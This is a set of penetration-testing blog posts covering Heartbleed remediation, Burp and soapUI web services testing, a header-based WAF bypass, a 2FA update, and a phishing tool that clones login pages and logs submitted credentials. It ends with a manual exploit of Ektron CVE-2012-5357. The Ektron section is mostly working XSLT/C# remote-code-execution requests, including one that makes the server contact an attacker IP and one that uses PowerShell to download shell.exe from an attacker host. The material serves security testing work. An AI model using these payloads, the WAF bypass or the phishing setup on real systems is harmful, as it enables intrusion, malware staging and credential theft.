• Full Disclosure: Heartbleed

    I find it impossible to believe that you could find your way to my blog without knowing what the Heartbleed vulnerability is, but just in case, more information can be found here. It has been all over every sort of news. If you read news on the Internet, you HAD to have heard about it.

    The CodeWatch site was vulnerable. In an effort to support TLS 1.2 and cryptographic ciphers that utilize PFS, I was on one of the latest versions of OpenSSL, 1.0.1e to be exact. Within a day after the announcement I had OpenSSL patched, and within two days or so I had re-generated my private key and had my CA reissue my certificate based on the new key, but I am just now getting around to posting about it. If you use the site for the CodeWatch web app, then you should change your password(s) just in case.

    Here is a list of actions I took to remediate the vulnerability:

    1. Downloaded and compiled the patched version of OpenSSL (1.0.1g).
    2. Compiled the latest stable version of Nginx against OpenSSL 1.0.1g. This was performed externally on the web server. I also compiled several internal systems to remediate this vulnerability inside the network.
    3. Re-generated the web server’s private key.
    4. Issued a new certificate signing request using the new private key.
    5. Issued a new certificate using the certificate signing request with my Certificate Authority.
    6. Revoked the old certificate.
    7. Installed the new key and certificate on the web server

    What a pain! The good news (I guess, kind of?) is that even if my private key had been compromised and traffic from the site intercepted, an attacker should still not be able to decrypt the data because the CodeWatch site only supports PFS ciphers and has been configured this way from the beginning.

  • Web Services Penetration Testing with soapUI, Burp, and Macros

    I test web services fairly infrequently in proportion to “standard” web applications or network penetration tests. I guess organizations are still trying to get their hands around general web application security or are oblivious to the risk of attacks at the web services layer, unaware of the high potential for remote code execution among other security risks. Due to the limited number of web services penetration tests performed, it often takes me a little bit of time to refresh myself on how I like to setup the environment. I thought others might be in the same boat, hence this post.

    There are some other good posts and resources out there for web services testing, but I thought I would go into a little more detail on some things that I’ve seen and steps necessary to automate a portion of the testing. This post is geared towards testing REST based web services, though some of the steps and approaches could be used in SOAP based web services testing as well. I will be using soapUI and Burp Suite Pro, along with Burp macros to facilitate in the testing.

    The first thing that needs to be done is to setup soapUI to use Burp as the proxy for all connections. This can be done by navigating to File->Preferences->Proxy Settings. My setup is currently listening on the loopback on port 8083 (make sure to enable the proxy as well):

    Next, I need to create a project by navigating to File->New soapUI Project, providing a project name and the associated WADL file (if you are testing SOAP based web services, you would use a WSDL file). I also want soapUI to create a test suite for me:

    The next screen involves configuring the test suite. I like to create a single test case for each method, solely based on how it is laid out in the UI:

    Give the test suite an intuitive name. If there are different web services methods, you could consider naming the test suite after that specific resource:

    Depending upon how the web services were defined in the description language, you might be prompted about test steps being unique. In this case, I just accept the names that soapUI selects by default. If the web services layer can be accessed over HTTP, then you are pretty much ready to go for testing purposes now; however, if the web services must be accessed over HTTPS (hopefully this is the case), then there are a few more steps.

    First, expand the test suite and then expand the “Test Steps.” Double click on one of the steps and at the top you should see the actual host/port to which you are connecting. Click on this drop down and select “[edit current]” if using HTTPS:

    This should be edited to use HTTP instead:

    The SSL connection fails from soapUI to the Burp proxy without the above due to the fact that Burp is MiTM’ing the connection. There is probably some way to export the keys/certificates used by Burp and import them into soapUI to avoid this but the method I use here just winds up being easier for me. Once you have edited the link to use HTTP, you will see the HTTP version as an option in the drop downs for the other test methods. You can either double click each one, click on the drop down, then select the new HTTP version, or you can click once on each one and change the option in the “REST TestRequest Properties” box below the “Test Steps” (which should be much faster):

    Now, you need to setup a proxy in Burp that sends communication received over HTTP from soapUI to the web service over HTTPS. In the Burp “Proxy” tab, go to the “Options” sub tab and click the “Add” button. Once again, for this example I am listening on port 8083 on the loopback:

    Click on the “Request handling” tab to ensure communication to the web service is over HTTPS by selecting “Force use of SSL.” In this example, I am using test.example.com and the remote port is 8443:

    At this point, we can send requests from soapUI, intercept and modify them in Burp, and then get a response from the web service. If the web service doesn’t require authentication (unlikely and scary if true), then you can now perform all the testing you want with and through Burp. Or, if the web service is using Basic, Digest, or NTLM authentication, you can configure Burp to automatically authenticate within Options->Connections->Platform Authentication. However, if the web service has implemented an alternative way of authenticating and granting access to the web service method calls then you are going to need to create some macro’s to automate checking for whether the connection is authenticated, and if not, re-authenticate each time automatically before performing the test. This is especially important if you want to use Burp’s Scanner and Intruder tools.

    The rest of this post is going to focus on one process flow that I’ve seen that seems to be common for authenticating access to web services. In this particular case, the authentication service is the Jasig Central Authentication Service (CAS). The flow of the authentication service is basically:

    • Access form based web login and receive a Session ID token,
    • POST credentials to the web site, including the Session ID token,
    • Attempt to access the REST service,
    • If the access ticket is current, return results of REST service method call, if not, redirect to login page to generate a new Session ID,
    • Login page redirects (without the need for credentials) to the authentication service, including a ticket ID in the redirect URL,
    • Authentication service accepts the ticket generated by the login page and grants access to resources (this is often for a very limited window – typically between 5 and 10 seconds) and redirects to requested web service method,
    • Web service method is finally called and results are obtained.

    What we need to build is a macro that first checks to see if we are authenticated, and if not, it performs the above steps to re-authenticate. This is all the more important due to the fact that access is typically granted for a very small window of 5 to 10 seconds as described above. The first step is to work through this process within the browser. Connect to the login page, enter valid credentials, and then make a REST call. The next step is to create a macro out of the requests/responses produced by this test.

    To start, navigate to Options->Sessions, and then click the “Add” button in the “Session Handling Rules” section. Give the macro a name that makes sense:

    Now, set the scope for the macro rule in the “Scope” tab. For web services in particular, since I will be performing most of the testing via soapUI, I select all but “Extender” in the “Tools Scope” options. I need the authentication to be automatic no matter what I am doing. I also like to set the scope to custom to make sure the rule only applies in the specific instance in which I want it to apply:

    Then I need to actually set the scope. For this example, it is all over HTTPS, the host is test.example.com, the port being used is 8443, and the REST url is always prefixed with “/path/to/resource.” So, when you click the “Add” button to include a new item in scope, you get:

    Now we are ready for the meat of the macro. This macro is intended to check whether the session is valid. So back on the “Details” tab of the main session handling rule editor, navigate to the “Rule Actions” section, click the “Add” button, and add a rule to “Check session is valid.”

    Edit this rule and configure it to run a macro to validate the session. This will require you to “Add” a macro for the check. When you click “Add”, select the request that you previously made in the browser after authentication to the test web services method. In several instances, there has been an “/about” method that returns general information about the API or service and that is what I have used in this example. Then provide a meaningful name:

    Click on the “Configure item” button to edit actions that are taken by the macro and select the option to “Use cookies…” as we want to use any cookies we already have in the initial request because we might still be authenticated:

    Click ok to save this individual macro. Next, we need to configure what to tell Burp to look for in the response to that initial request to determine whether we have valid credentials. There are many options here, but the example assumes that the response body will contain the literal (case insensitive) string “test1.1b” if the session is still valid:

    As shown in the screenshot above, if the session is invalid, we want to run another macro. This macro will be used to re-authenticate to the web service. The first step is to click “Add” and create another macro. The next step is to select all of the applicable requests made in the test made via the browser. In this example, it follows the flow listed above where there is a request to the login page, credentials are submitted, a request to the REST method is made, a request is made to the login service to obtain a ticket for calling REST methods, a request to the auth service is made to create the ticket, and then a final request is made to the test REST method:

    The first request should be the initial connection to the login form page. Click on the “Configure item” button for this request, and select “Add cookies…” We select this option because we want to add the initial Session ID cookie received in the response to the second request which includes submitting our credentials:

    The next request to configure is the actual POSTing of credentials to the login page. Note that the Session ID received in the initial request to the login page is included in the POST:

    This request needs to be configured such that all submitted data is NOT URL encoded, and cookies should be configured to be added to the cookie jar if received and previously provided cookies are used in the initial request. This ensures that we will continue to use the Session ID provided, but if a new one is generated for some reason we will use that one in future requests as it is the most recent:

    The next step is to make a request to a sample/test REST method (for which we will add and use cookies):

    This is followed up with a request to the login page using a new Session ID generated in the above request to the REST method. In this case, the Session ID is used as part of the URL:

    We need to configure this request. We want the Session ID provided in the response to the REST method to be used as the jsessionid parameter in the request to the login page. We want to add any cookies received in the request to the cookie jar and use any cookies already in the cookie jar in the request. In order to use the previously provided Session ID as part of the URL, we need to configure the parameter to be derived from the immediately preceding response and not to be URL encoded:

    In addition, as seen in the above screenshot, the response to this request includes a redirect to the auth service which includes a ticket that has been generated for authentication. The response includes something along the lines of:

    We need to grab this ticket value so that it can be included in the request to the auth service so that we use a new and valid ticket to obtain access. We do this by clicking the “Add” button in the “Custom parameter locations in response” section. I use the same name as what is sent in the response, and pull out the ticket value by capturing the values between “?ticket=” and the next header which is “Content-Length”:

    Next, we make a request to the auth service using the ticket provided by the login service. This should result in the granting of a ticket, and thus access to all the REST methods for some short period of time:

    For this request to succeed, we need to configure it to use the response from the request to the login service as the parameter value within the URL in the request to the auth service:

    This should be about it in terms of this re-authentication macro. To recap, we:

    1. Made a request to the login page and received a Session ID,
    2. Submitted our credentials and the Session ID to the login page,
    3. Made a request to a sample/test REST method,
    4. Made a request to the login page in order to obtain a ticket, part of this request included a new Session ID generated in the request to the sample/test REST method,
    5. Made a request to the auth service using the ticket provided by the login service, thus granting us access for a limited period.

    I actually included a follow up request to the sample/test method when originally creating this demonstration but I don’t believe it was necessary.

    The macro is complete and it is safe to click “Ok.” Two more check boxes need to be checked as part of the session handling rule, they are: “Update current request with parameters matched from final macro response” and “Update current request with cookies from session handling cookie jar.” This rule is almost complete and you can click “Ok” in the rule editor window. You should now be back in the main window for the rule (where the name/scope/etc are edited). The last step is to make sure that as part of this rule, requests from the session handling cookie jar are used:

    This rule should be configured to essentially update all cookies:

    The session handling rule is ready. Now we need to prime Burp to use the automated Scanner. Go back to soapUI and double click on a “Test Step” (aka REST method/service call). There will probably be options for adding values to parameters, which you should do, and then a green arrow to click and generate a request:

    Input data into the parameters and send the request for each REST method. Now, you can go into the Burp “Target” tab, right click on the root resource path and select “Actively scan this branch.” In addition, I suggest sampling some juicy looking methods by right clicking the actual full REST URL in the “Target” tab or the “Proxy” tab and sending to Intruder. Make sure you also manually test all or a bunch of the methods by editing the parameter data within soapUI, clicking the request button in soapUI, setting Burp’s proxy to intercept requests and modify the requests, and then observing responses.

    I hope this was helpful. Happy hunting!

  • Automate WAF Bypass with Burp

    I read an article from a Fortify security researcher earlier this week that provided a very simple and effective way to bypass some Web Application Firewalls (WAFs). The article can be found here. After reading, I updated my Burp configuration to automatically take advantage of this flaw in design and thought I would share the simple approach with my readers (if you have been using Burp for a while, you will likely already know how to do this).

    The flaw relies on adding HTTP headers to each request we make to the application. This can be done simply by adding some rules in the proxy options. First, navigate to the “Proxy” tab, and then click on the “Options” tab. If you scroll down, you will see the option to “Match and Replace.” Click on the add button:

    Add a Match Rule

    Now, all you have to do is add the match. The “Type” field should be “Request Header,” as you want to add a header. If you leave the match field blank, then instead of looking for a match Burp will add the header you create in the “Replace” field. In the “Replace” field, type in one of the headers that can be used to bypass the WAF.

    The list of headers includes, but is probably not limited to:

    • x-originating-IP: 127.0.0.1
    • x-forwarded-for: 127.0.0.1
    • x-remote-IP: 127.0.0.1
    • x-remote-addr: 127.0.0.1

    Add each of these as matches, and check the box as shown in the image above when you want them enabled and sent in each request. An example is provided below:

    Create the Rule

    That’s it! Crazy simple huh?

  • CodeWatch Update – Two Factor Access

    I updated the authentication features of CodeWatch over the weekend to support two-factor authentication (2FA). This is an update I’ve wanted to make for a while but never seemed to have the time due to other commitments or projects. I waited a few days so that I could test before posting. If you have an account, you can now go into the “Account” tab and click the “Two Factor” option to configure this setting.

    What this means is that you can add a second factor of authentication to your account. For more information on 2FA, see this Wikipedia entry. The system currently supports two different 2FA options; SMS based phone 2FA and email based 2FA. All you have to do is enable 2FA for your account, configure email or phone based 2FA, and then enter a PIN. The PIN can really be any value and might be a little overkill (think second password, but without the same complexity and length requirements).

    I am using the Time-based One Time Password Algorithm (TOTP) to create the 2FA token. You can read more about this here. I leveraged information from the PHP site here as well as this Github project here for implementation in my app.

    Additional security properties include:

    • The token length is 8 digits.
    • I am using the openssl_random_pseudo_bytes function with a 32 byte length value to generate a random key to seed each TOTP token.
    • The token is only valid for 180 seconds. I felt this was a reasonable time to receive and enter the token.
    • The token is stored in memory and is single use only; it is removed after the first successful usage or after the 180 seconds has expired.
    • The PIN used in combination with the token is stored as a hash using bcrypt, an IV unique to each account, and a work factor.

    I decided to use Twilio for SMS based integration. I had never used Twilio before but was happy to find that for my simple purposes it was crazy easy. It took maybe a few minutes to figure out, implement, and test.

  • Gophishing Update – Enhanced Clickthrough and More

    I’ve released a new version of Gophish.py. The update includes:

    • Fixed a bug in rewriting the method attribute in phished forms
    • Fixed a bug with GET based forms
    • Fixed a bug in the autofill option, fixed the demo/sample file accordingly
    • Fixed a bug where links were rewritten when using ‘javascript:…’
    • Fixed some bugs regarding correctly closing files
    • Added in functionality to reverse BeautifulSoup fixing &amp to &
    • Added functionality to rewrite ‘url(www.example.com)’ in CSS
    • Added functionality to handle onsubmit/onkeypress/onclick attributes in FORM/INPUT tags
    • Added a feature to pass a user agent header when connecting to the target
    • Added a feature to send cookies
    • Added a feature to serve a click through page post form submission
    • Added clickable feature to provide more click through pages post submission and initial click through

    Quite a few bugs were fixed, one of which has been around from the beginning. In some cases, the METHOD attribute of FORM tags wasn’t correctly rewritten, breaking form submission functionality.

    Besides the bug above that has existed for some time, I also fixed some bugs introduced by more recent versions of the script. The code was restructured in a fairly early release and at that time forms using the METHOD attribute of ‘GET’ were broken. The code has been updated to implement redirection in a consistent way, by redirecting to an HTML page with a form that is autosubmitted to the phish site with JavaScript. This form is auto-generated based on the submitted form values.

    I updated the code to use ‘soup.prettify(formatter=”html”)’ in order to fix some issues with bad characters and HTML. This broke the autofill functionality. I have now updated that functionality as well as the sample file.

    I also updated the link rewriting functionality to ignore links using ‘javascript:…’ These were stupidly rewritten to ‘replacementurl/javascript:…’ in the past versions.

    In some cases, files opened by gophish weren’t correctly closed, which broke the script after the first initial connection. This is now fixed.

    The first “feature” I added is more of a fix. BeautifulSoup, when using ‘formatter=”html”‘, tries to fix bad HTML by closing out some tags, changing &’s to &amp, < to &lt, and > to &gt. The last two are fine, but the &amp fix seems to more often result in &nbsp’s being printed on HTML pages because they are rewritten as &ampnbsp. I now re-fix this after BeautifulSoup does its thing.

    The next functionality enhancement involves rewriting CSS within the page that includes ‘url(www.example.com)’ code. This will now get rewritten to point at the correct URL if instead the value is something like ‘url(/path/to/file)’.

    In addition, I also added some functionality to prevent onsubmit/onkeypress/onclick attributes within FORM/INPUT tags that in some cases break form submissions. Those are now rewritten to be empty.

    Now the fun stuff; features. The first feature seems like a no-brainer. You can now pass a file containing a ‘User-Agent’ header to gophish. The new option is ‘–useragent filename.txt’, assuming the user agent file you are using is named ‘filename.txt’. This will resolve issues in which the site responds back with a “Browser not supported” page instead of the correct phishing page based on the user agent sent by Python.

    The next feature is simple and I am unsure if it will ever be necessary. In some cases, a site might check for JavaScript being enabled by setting a cookie and then validating a cookie has in fact been set. If JavaScript is disabled, then the page might respond differently. There is now a ‘–sendcookies’ option to resolve this potential problem. This option causes gophish to make an initial connection to the page, grab the cookies, and then make a second request adding the cookies to the HTTP header.

    Now for the fun stuff. I’ve added in real click through support with new options. The first option is ‘–clickthrough clickpage.html’, assuming the first click through page you want to use is named ‘clickpage.html’. This changes the functionality for gophish where instead of logging submitted form values and redirecting to the real page (and submitting the form values to the real page), it will open the ‘clickpage.html’ file. So you can have the initial phish page and then have a secondary fake post login page for example.

    The next option, ‘–clickable’, builds on this functionality. You can provide additional html files, comma delimited, that are opened based on their name. So, if you passed in ‘–clickthrough clickpage.html –clickable page1.html,page2.html,page3.html’ for example, the flow would be:

    1. User accesses initial phish page, fills in form data, and submits
    2. Submitted data is logged and then user is served ‘clickpage.html’
    3. If ‘clickpage.html’ also has a form with an action of ‘page1.html’ and the user submitted the form then they would then be served ‘page1.html’, which was provided with the ‘–clickable’ option.
    4. Or, if there are other links for the user to click on with an href=’page2.html’ and href=’page3.html’, then if the user clicks on one of these links, they will be served the respective page

    These new features greatly enhance the functionality of your phishing page while remaining simple to use and implement. I hope someone out there finds them useful.

    The new version of the code can be found here. The updated autofill sample file can be found here. A sample user agent file can be found here.

    Updated usage information for the script:

      usage: gophish.py [-h] --phish PHISH --replace REPLACE [--logfile LOGFILE]
                      [--listen LISTEN] [--port PORT] [--ssl]
                      [--sslchain SSLCHAIN] [--sslcert SSLCERT] [--sslkey SSLKEY]
                      [--autopwn AUTOPWN] [--autofill AUTOFILL]
                      [--redirect REDIRECT] [--redirectto REDIRECTTO]
                      [--landing LANDING] [--clickthrough CLICKTHROUGH]
                      [--clickable CLICKABLE] [--useragent USERAGENT]
                      [--sendcookies]
    
      Automatically setup a phishing site.
    
      optional arguments:
        -h, --help            show this help message and exit
        --phish PHISH         the full URL to phish back to the victim (must include
                              http(s)://) (default: None)
        --replace REPLACE     the IP/FQDN to replace FORM actions with (must include
                              http(s):// and final /) (default: None)
        --logfile LOGFILE     log file to store submitted form values (default:
                              phishlog.txt)
        --listen LISTEN       the IP to bind to (default: 0.0.0.0)
        --port PORT           the port to start the listening web server on
                              (default: 80)
        --ssl                 enable SSL on the running port (default: 0)
        --sslchain SSLCHAIN   certificate chain file to use when ssl option is
                              enabled (default: chain.crt)
        --sslcert SSLCERT     certificate file to use to use when ssl option is
                              enabled (default: ssl.crt)
        --sslkey SSLKEY       private key file to use to use when ssl option is
                              enabled (default: ssl.key)
        --autopwn AUTOPWN     Metasploit auxiliary/server/browser_autopwn URL to
                              inject as an iFrame (default: None)
        --autofill AUTOFILL   file to use to autosubmit autocomplete fields
                              (default: None)
        --redirect REDIRECT   redirect requests for this address somewhere else
                              (default: None)
        --redirectto REDIRECTTO
                              redirect requests in the redirect option to this
                              address (full link, must include http(s)://) (default:
                              www.google.com)
        --landing LANDING     redirect to this landing page instead of original site
                              after form is submitted (include full link) (default:
                              None)
        --clickthrough CLICKTHROUGH
                              file to serve up after user enters form credentials on
                              main phish page (default: None)
        --clickable CLICKABLE
                              used in combination with clickthrough, comma separated
                              list of files to serve based on requested name
                              (default: None)
        --useragent USERAGENT
                              file to use to pass a user agent value in the request
                              (default: None)
        --sendcookies         initiate a connection, get the cookies, send cookies
                              back in second connection (default: 1)
    
      Example: gophish.py --phish https://www.victim.com/login.php --replace
        https://www.evil.com --port 443 --ssl --sslchain chain.crt --sslcert ssl.crt
        --sslkey ssl.key
    

     
    Happy Phishing!

  • Manually Penetrating the Ektron Vulnerability – CVE-2012-5357

    My posts are a little bit out of order here in that this was one of the first vulnerabilities that I came across in which the Metasploit modules failed due to a combination of DEP and AV. The result was researching AV bypass techniques that I began discussing here, and then here, and then figuring out that I really just need to use Veil. Anyways, today I am going to discuss manual exploitation of the vulnerability described here. This vulnerability allows an unauthenticated user to pass XML that includes script elements that are then compiled as code and executed on the vulnerable server.

    I first tried the easy and lazy route and attempted to use the Metasploit module for this vulnerability. The output indicated exploitation was successful but then went back to the standard Metasploit prompt with no Meterpreter shell. I decided to investigate manually exploiting the vulnerability to validate whether or not it was just a false positive and then work back from there. There is another great reference for this vulnerability (I think this is the guy that found/reported it) here, unfortunately I didn’t find this until after figuring it out. I used the code in the Metasploit module as a base and played around with it until I had a simple payload that finally worked that just returned the output of the ‘ipconfig.exe’ utility on Windows.

    I loaded up Burp and went to work. Here is the first URL encoded payload (modified to replace IP addresses and whatnot):

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 956
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
      version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
      %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
      %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
      %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
      %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b
      %0aSystem.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
      %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
      p.StartInfo.RedirectStandardOutput%20%3d%20true%3b
      %0ap.StartInfo.FileName%20%3d%20%22ipconfig.exe%22%3b%0a
      p.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
      p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
      %3e%0a%3c%2fmsxsl  %3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e
      %0a%3cxsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
      template%3e%0a%3c%2fxsl%3astylesheet%3e
    

     
    Decoded, this looks like:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 956
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=<?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[
        public string xml()
        {
          System.Diagnostics.Process p = new System.Diagnostics.Process();
          p.StartInfo.UseShellExecute = false;
          p.StartInfo.RedirectStandardOutput = true;      
          p.StartInfo.FileName = "ipconfig.exe";
          p.Start();
          p.WaitForExit();
          string output = p.StandardOutput.ReadToEnd();
          return output;
        }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    

     
    The result was the standard output of the ‘ipconfig.exe’ command to the browser. I also used the ‘hostname.exe’ and ‘whoami.exe’ commands (replacing ipconfig.exe in the above with these executable names) and received the expected output. So I knew the vulnerability existed and was exploitable but something was hosing up Metasploit. At this point, I decided I need to upload my own Meterpreter payload and execute it.

    I needed to find an open outbound port and ended up using ‘mstsc.exe’ as the tool of choice to test outbound access over TCP port 443. The payload for this looked like:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 1021
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
      version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
      %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
      %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
      %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
      %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b
      %0aSystem.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
      %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
      p.StartInfo.RedirectStandardOutput%20%3d%20true%3b
      %0ap.StartInfo.FileName%20%3d%20%22mstsc.exe%22%3b%0a
      p.StartInfo.Arguments%20%3d%20%22%2fv%3a22.222.222.22%3a443%22%3b%0a
      p.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
      p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
      %3e%0a%3c%2fmsxsl%3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e%0a%3c
      xsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
      template%3e%0a%3c%2fxsl%3astylesheet%3e
    

     
    Decoded, this looks like:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 956
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=<?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[
        public string xml()
        {
          System.Diagnostics.Process p = new System.Diagnostics.Process();
          p.StartInfo.UseShellExecute = false;
          p.StartInfo.RedirectStandardOutput = true;      
          p.StartInfo.FileName = "mstsc.exe";
          p.StartInfo.Arguments = "/v:22.222.222.22:443";      
          p.Start();
          p.WaitForExit();
          string output = p.StandardOutput.ReadToEnd();
          return output;
        }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    

     
    I ran ‘tcpdump’ on my Metasploit box looking for the connect back and saw it. So I knew the server could connect to TCP port 443 over the Internet. I then generated a Metasploit payload in executable format and uploaded it to my web server. I wish that I had found this article while testing as it provides .NET code for downloading a file. For whatever reason, I didn’t even think of this as an option, yet weeks later I thought of it when exploiting an FCKedit vulnerability discussed here. Instead, I started thinking through options for using a command line Windows tool to download the Meterpreter payload. I tried ‘bitsadmin.exe’, which I think in the right circumstance should work, but it didn’t work here and I ended up using powershell.

    The powershell payload looked like this:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 1020
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
      version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
      %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
      %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
      %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
      %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b
      %0aSystem.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
      %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
      p.StartInfo.RedirectStandardOutput%20%3d%20true%3b%0a
      p.StartInfo.FileName%20%3d%20%22powershell.exe%22%3b%0a
      p.StartInfo.Arguments%20%3d%20%22(new-object%20System.Net.WebClient).
      DownloadFile(%20%27http%3a%2f%2f22.222.222.22%2fshell.exe%27,
      %20%27C%3a%5c%5cUsers%5c%5cPublic%5c%5cDocuments%5c%5ctest.exe%27)
      %22%3b%0ap.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
      p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
      %3e%0a%3c%2fmsxsl%3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e%0a%3c
      xsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
      template%3e%0a%3c%2fxsl%3astylesheet%3e
    

     
    Decoded, this looks like:

      POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
      Host: 111.11.111.11
      Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded;
      Connection: Keep-Alive
      Content-Length: 1021
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
      Pragma: no-cache
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    
      xml=AAA&xslt=<?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[
        public string xml()
        {
          System.Diagnostics.Process p = new System.Diagnostics.Process();
          p.StartInfo.UseShellExecute = false;
          p.StartInfo.RedirectStandardOutput = true;      
          p.StartInfo.FileName = "powershell.exe";
          p.StartInfo.Arguments = "(new-object System.Net.WebClient).DownloadFile
           ( 'http://22.222.222.22/shell.exe', 'C:\\Users\\Public\\Documents\\test.exe')";      
          p.Start();
          p.WaitForExit();
          string output = p.StandardOutput.ReadToEnd();
          return output;
        }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    

     
